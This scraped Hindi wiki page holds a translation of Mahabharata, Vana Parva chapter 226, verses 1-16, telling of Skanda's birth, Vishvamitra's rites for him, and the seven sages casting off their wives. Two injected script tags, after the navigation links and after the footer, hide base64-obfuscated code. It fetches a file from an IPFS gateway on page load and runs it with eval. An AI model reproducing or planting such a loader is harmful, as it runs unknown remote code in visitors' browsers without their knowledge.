महाभारत वन पर्व अध्याय 226 श्लोक 1-16

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ

षडविंशत्‍यधिकद्विशततम (226) अध्‍याय: वन पर्व (मार्कण्‍डेयसमस्‍या पर्व )

महाभारत: वन पर्व: षडविंशत्‍यधिकद्विशततम अध्‍याय: श्लोक 1-16 का हिन्दी अनुवाद
विश्वामित्र का स्‍कन्‍द के जातकर्मादि तेरह संस्‍कार करना और विश्‍वामित्र के समझाने पर भी ऋषियों का अपनी पत्नियों को स्‍वीकार न करना तथा अग्रिदेव आदि के द्वारा बालक स्‍कन्‍द की रक्षा करना


मार्कण्‍डेयजी कहते हैं राजन् । उन महान् धैर्यशाली और महाबली महासेन के जन्‍म लेने पर भांति-भांति के बड़े भयंकर उत्‍पात प्रकट होने लगे ।स्‍त्री– पुरुषों का स्‍वभाव विपरीत हो गया । सर्दी आदि द्वन्‍द्वों में भी ( अभ्‍दुत ) परिवर्तन दिखायी देने लगा। ग्रह, दशाएं और आकाश ये सब मानो जलने लगे और पृथ्‍वी जोर-जोर से गर्जना-सी करने लगी । लोकहित की भावना रखने वाले महर्षि चारों ओर अत्‍यन्‍त भयंकर उत्‍पात देखकर उद्विग्र हो उठे और जगत् में शान्ति बनाये रखने के लिये शास्‍त्रीय कर्मो का अनुष्‍ठान करने लगे । उस चैत्ररथ नामक वन में जो लोग निवास करते थे, वे कहने लगे, अग्रि ने सप्‍तर्षियों की छ: पत्नियों के साथ समागम करके हम लोगों पर यह बहुत बड़ा अनर्थ लाद दिया है’ । दूसरे लोगों ने उस गरुडी पक्षिणी से कहा-‘तूने ही यह अनर्थ उपस्थित किया है। यह उन लोगों का विचार था, जिन्‍होंने स्‍वाहादेवी को गरुडी के रुप मे जाते देखा था। लोग यह नहीं जानते थे कि यह सारा कार्य स्‍वाहा ने किया है । गरुडी ने लोगों की बातें सुनकर कहा-‘यह मेरा पुत्र है। फिर उसने धीरे से स्‍कन्‍द के पास जाकर कहा-‘बेटा । मैं तुम्‍हें जन्‍म देनेवाली माता हूं । इधर सप्‍तर्षियों ने जब यह सुना कि हमारी छ: पत्नियों के सग्ड़ से अग्रि देव के एक महातेजस्‍वी पुत्र उत्‍पन्न हुआ है, तब उन्‍होंने अरुन्‍धती देवी के सिवा अन्‍य छ: पत्नियों को त्‍याग दिया । क्‍योंकि उस वन के निवासियों ने उस समय छ: पत्नियों के गर्भ से उस बालक की उत्‍पति बतायी थी। राजन् यद्यपि स्‍वाहाने सप्‍तर्षियों से बार-बार कहा कि ‘यह मेरा पुत्र है। मैं इसके जन्‍म का रहस्‍य जानती हूं; लोग जैसी बात उड़ा रहे हैं, वैसी नहीं है। ( तो भी वे सहसा उसकी बात पर विश्वास न कर सके ) । महामुनि विश्वामित्र जब सप्‍तर्षियों की इष्टि पूर्ण कर चुके, तब वे भी कामपीडित अग्‍नि के पीछे-पीछे गुप्‍त रुप से चल दिये थे, उस समय कोई उनहें देख नहीं पाता था। अत: उनहोंने यह सारा वृत्तान्‍त यथार्थ रुप से जान लिया । विश्वामित्र जी सबसे पहले कुमार कार्तिकेय की शरण में गये तथा उन्‍होंने महा सेन की दिव्‍य स्‍तोत्रों द्वारा स्‍तुति भी की । उन महामुनि ने कुमार के सारे मागलिक कृत्‍य सम्‍पन्न किये। जातकर्म आदि तेरह क्रियाओं का भी अनुष्‍ठान किया । स्‍कन्‍द की महिमा, उनके द्वारा कुक्‍कुट पक्षी का धारण, देवी के समान प्रभावशालिनी शक्ति का ग्रहण तथा पार्षदों का वरण आदि कुमार के सभी कार्यो को विश्वामित्र लोक हित के लिये आवशयक सिद्ध किया। अत: विश्वामित्र मुनि कुमार के अधिक प्रिय हो गये । महामुनि विश्वामित्र ने यह जान लिया था कि स्‍वाहा ने अन्‍य ऋषि पत्नियों के रुप धारण करके अग्‍नि देव से सम्‍बन्‍ध स्‍थापित किया था; इसलिये उन्‍होंने सब ऋषियों से कहा ‘आपकी स्त्रियों का कोई अपराध नहीं है, उनके मुख से यथार्थ बात जानकर भी ऋषियों ने अपनी पत्नियों ने सर्वथा त्‍याग ही दिया ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>